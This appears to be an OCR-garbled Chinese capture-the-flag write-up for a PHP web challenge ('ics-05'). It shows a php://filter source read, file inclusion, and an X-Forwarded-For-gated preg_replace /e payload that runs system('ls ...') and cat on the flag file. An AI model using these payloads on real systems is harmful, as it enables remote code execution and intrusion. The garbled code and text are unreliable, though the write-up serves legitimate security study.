Tt S webiE i X ics-051% fi#

A2 B F 2020-08-06 17:27:06 KA 693 S8R

FEELFE: CTE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/hxhxhxhxx/article/details/107836749

B CTF EREWFZAE
7 WXEOOITH
U=
T B it 5t webidt fi X ics-051 fi#
& H
fiAE

preg_replace
ctype_alnum
strpos

X-Forwarded-For

& H


https://blog.csdn.net/hxhxhxhxx
https://blog.csdn.net/hxhxhxhxx/category_10243413.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/hxhxhxhxx/article/details/107836749
https://blog.csdn.net/hxhxhxhxx/category_10243413.html

o= O X
) IBnemss X R
€ O 220.249.52.133:39554 X QEF B A & & =mxE @ =
INT ~| = & SQL- XSS- Encryption- Encoding- Other-
@& Load URL =
4 split URL +
[ Execute
[ Enable Post data [ ] Enable Referrer

REEEERRS
SN el sy

BoUTE B EEER

Linggiu
o=

Shuppi '
s =70

HIERE : 9 s~ —Baoding

it ;
IETEfEH#RE 220.249.52.133 HI40E...

BATR B d— A7

= O X
e T X |+

€ ( 220.249.52.133:39554/index.php ¢ Q@F wBe ¥ A i & ZmRE @ =

INT ~| = & SQL- XSS- Encryption- Encoding- Other-

@& Load URL =

3 split URL +

2 Execute

[ Enable Post data [_] Enable Referrer

ARSI

RETIFE

D REE X HEPRE R




fi ik

fok4g: [http://220.249. 62. 133: 30654/ | EfEEE 12134
212: 10 (% CPBD, * 5E{E) [/ DIR: 446889 [] ASPy: 42529 & #&3lz00
- e [] Asp: 297812 [ PHE: 52815 ] #0403
A (¥ BRMEBEF) []ms: son [] JsP: 19739 [ FEmisxx
FURISE: hetp: /220, 249,52, 133:39554/konelili/ LR 10 PEEE: 28430
1D ik HTTEOR]
220, 2 5 3339 findex. html 200

200
200
200

WEIFHA —DessHfF

< C @ F&£| 220.249.52.133:39554/css/?C=D;0=A

WA

Index of /css

Name Last modified Size Description

J Parent Directory -
style.css 2018-09-16 03:05 2.4K

Apache/2.4.7 (Ubuntu) Server at 220.249.52.133 Port 39554

BAAtEH



- o X
B X httpy//220.249.52.133:39554/ X | +
€  © 220.249.52.133:39554/index.php?page=index ¢ Q@F wBe ¥ A i & ZmRE @ =
INT ~| = & SQL- XSS- Encryption- Encoding- Other-
@& Load URL -
3 split URL +
2 Execute

[l Enable Post data [ ] Enable Referrer

ARSI

wEHIFE

D REE X HEPRE R

index

220.249.52.133:39554/index.php?page=index

RIIRT —IREIIHE, url 4T B



BN R php By TE,  EATRK K phpdy Hir B

— O X
Bl 3 http://220.249.52.133:39554/ X | http://220.249.52.133:39554/ X 4
€  © 220.249.52.133:39554/index.php?page=php://filter/read=convert.base64-e E1 ¢ #E T8 ¥ @ & & mRE @ =
INT ~| = & SQL- XSS Encryption- Encoding- Other-
@l Load URL | http://220.249.52.133:39554/index.php?page=php:/filter/read=convertbase64-encode/resource=index.php| -
3 split URL +

2 Execute

[ Enable Post data [_] Enable Referrer

ARSI

wEHIFE

ID wrES BXia HHrikas w’E

PD9waHAKZXJyb3JfemVwb3J0aWSnKDApOwoKQHNIc3Npb25fc3RhenQoKTsKeG9zaXhic2VOdWIKKDEwWMDApOwoKCj8+CjwhRESDVFIQRSBIVE 1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG
log73vvizpnlDopoHkvp3otZZIbGVtZWS505qih5Z2XCiAgICAgICAgLY
nm5HIkKzIr7zoiKrngmih7sKICAgICAgICBIbGVIZW50LmOuKCduYXYoZGVibyknLCBmdW5jdGlvbihbGVIKSB7 CIAgICAgICAGICAGIC8BvY29uc29sZS5sh2coZWxIbSKKICAGICAgICAGICAgbGF5
/PgoKICAgIDxiciAvPixiciAvPjxiciAvPjxiciAvPgoglCAgPGRpdiBzdHIsZT0idGV4dC1hbGInbjpjZW50ZXIiPgogICAgICAGIDxwIGNs Y XNzPSJsZWFklj48P3BocCBIY 2hvICRwYWdIOyBkaWUoKTs
PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn 1IbHNIewoKPz4KICAgICAgICABYnlgLz48YnigLz48YnlgLz48Y nigLz4KICAgGICAgICABZ GI2IHNOeWxIPSJOZXhOLWFsaWdu
cGhwCgogICAgICAgICAgICAgICAgaWYgKHNOcnBveygkeGFnZSwgJ2lucHVOJykgPiAWKSB7CiAgICAgICAgQICAQICAGICAgICAgZGIIKCK7 CIAgICAgICAgICAGICAGICBOCgogICAgICAGICAGIC
/PgoglCAgICAgIDwvcD4KICAgICAgICABYnIgLz48YnlgLz48YnlgLz48YnigLz4KCjw/cGhwCn19CgoKLy/mirnkvr/nmoTIrp7njrDovpPlhaXovpPlh7mmoTlip
0g70s5q2j5Zy05byA5Y+R5Lit55qESYqfEI0977yM5Y +q61095YaF6Y 005Lg65ZGY 5rWLEK+VCgppZiAoJFOTRVIWRVIbJOhUVFBIWFIGT 1JXQVJERURIRK9SJ10gPT09ICcxMjcuMC4wWLJENK!
/PgoKPC8ib2R5PgoKPC90dG1sPgo=

http://220.249.52.133:39554/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

<?php

error_reporting(9);

@session_start();
posix_setuid(1000);

?>
DOCTYPE
html

head
meta charset
meta name content
meta http-equiv content
meta name content
link rel href
title> &4 HL</title
meta charset
head

body
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legend> & %13R</legend
fieldset
table class
script type id
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input type lay-skin lay-text lay-filter
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script
script src charset script
script
layui.use( , function() {
var table layui.table,
form layui.form;

table.render({
elem:
url:
cellMinWidth: 8@,
cols: [

[

, width: 100, unresize: true, sort: true },
, templet: 1,
¥
, minWidth: 120, sort: true },
, width: 85, templet: , unresize: true }

1
page: true
1)
1
script
script
layui.use( , function() {

var element layui.element;
element.on( , function(elem) {
layer.msg(elem.text());

1)
1)

<?php

$page $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>

br br br br
div style

p class <?php echo $page; die();?></p
br br br br
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div style
p class
<?php

if (strpos($page,

die();

if (strpos($page,
die();

if (strpos($page,
die();

if ($page
die( )
include($page);
die();

?>

br br br

if ($_SERVER][
echo
$pattern = $ GET[pat];

$replacement = $_GET[rep];
$subject = $ GET[sub];

if (isset($pattern) isset($replacement) isset($subject)) {

preg replace($pattern, $replacement, $subject);
}else{
die();
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$page = § GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {

T
<br /><br /><br /><br /3|
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
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89
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91 <br /><br /><br /><br />

92 <div style="text-align:center">

93 <p class:"lead"ﬂ

94 <?php

95

96 if (strpos($page, 'input') » @) {

97 die();

98 }

99
100 if (strpos($page, "ta:text') » 8) {
101 die();

102 }

183
104 if (strpos($page, "text') > @) {
105 die();

106 }

187
108 if ($page === 'index.php') {
109 die('ok");

110 1

111 include($page);

112 die();

113 >

114 </p>

115 <br /><br /><br /><br />

116

117 <?php
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if ($ SERVER['HTTP X FORWARDED FOR'] === '127.8.8.1') {
echo "<br >Welcome My Admin ! <br >";

$pattern = $ GET[pat];
$replacement = $ GET[rep];
$subject = $ GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg replace($pattern, $replacement, $subject);

telse]
die();

}
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if ($_SERVER['HTTP_X FORWARDED FOR'] === '127.0.08.1") {

echo "<br >Welcome My Admin ! <br >";

¢pattern = $_GET[pat“5
$replacement = $ GET[rep];
$subject = $ GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

telse]
die();

}
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X-Originating-IP
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css index.html index.php js layui logo.png s3chahahaDir start.sh #E.png
?pat=/heihei/e&rep=system('ls /var/www/html')&sub=heihei
= O X
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@ Load URL | hitp://220.249.52.133:47528/index.php?pat=/heihei/eBrep=system('cat ./s3chahahaDir/flag/flag.php ")&sub=heihei -
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[] Enable Post data [ | Enable Referrer
1 LlIELUu. SLaLus , LLLIE. SEY AES , WINWIULIL. 14U, SULL. LLUE [, ~
{ field: “check’, title: " &X', width: 85, templet: "#switchTpl , unresize: true }
]
1,
page: true
R
R
/seript>
{script>
layui.use(’ element’, function() {
var element = layui.element; //SHiAThover®CH. —H-EMARINfE, 5 BikMiel ement fith
/AT ST
element. on(’ nav(demo)’, function(elem) {
//console. log(elem)
layer. msg(elem. text () ;
R
R
/seript>
<br >Welcome My Admin ! <br ><?php
$flag = ’cyberpeace {513770a5c034b651bfcc04b7a80c934d}” ;
2>
</body>
</html>
~
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¥ Enimmet (PCRE)
preg_replace BEHIT—MENFEATAVESINEE,
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mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $1limit = -1 [, int &Fcount ]] )

183 subject FPLER pattern 892645, LA replacement H{TER,
SEHIRE:

gl

Spattern: SE=ETR,, TLIEFFEN—MFFEEA.
Sreplacement: BT EMI={FEa,=FEHE,
Ssubject EEEEEABITFAERTASHEE,
Slimit: @i, WFEMEETE subject EBWNERATZRNE, FIAE-1 (KREE) .
Scount: OT#E, AEREPTRIREL
A
WNER subject E—1#4E, preg_replace() IRE—MEEE, EftER MEE—MFRE.
WRCEHETI, SHEN subject #HIRE, SRER T IREISEHEN subject, MEEEFRR, RE NULL,

ctype_alnum

if(!ctype _alnum($str

echo

strpos

HHFEANFRHBERNTRFEPE - HAK A E

<IDOCTYPE html> 9
<html>
<body>

<?php
echo strpos("You love php, I love php too!™,"php");
>

</body>
</html>
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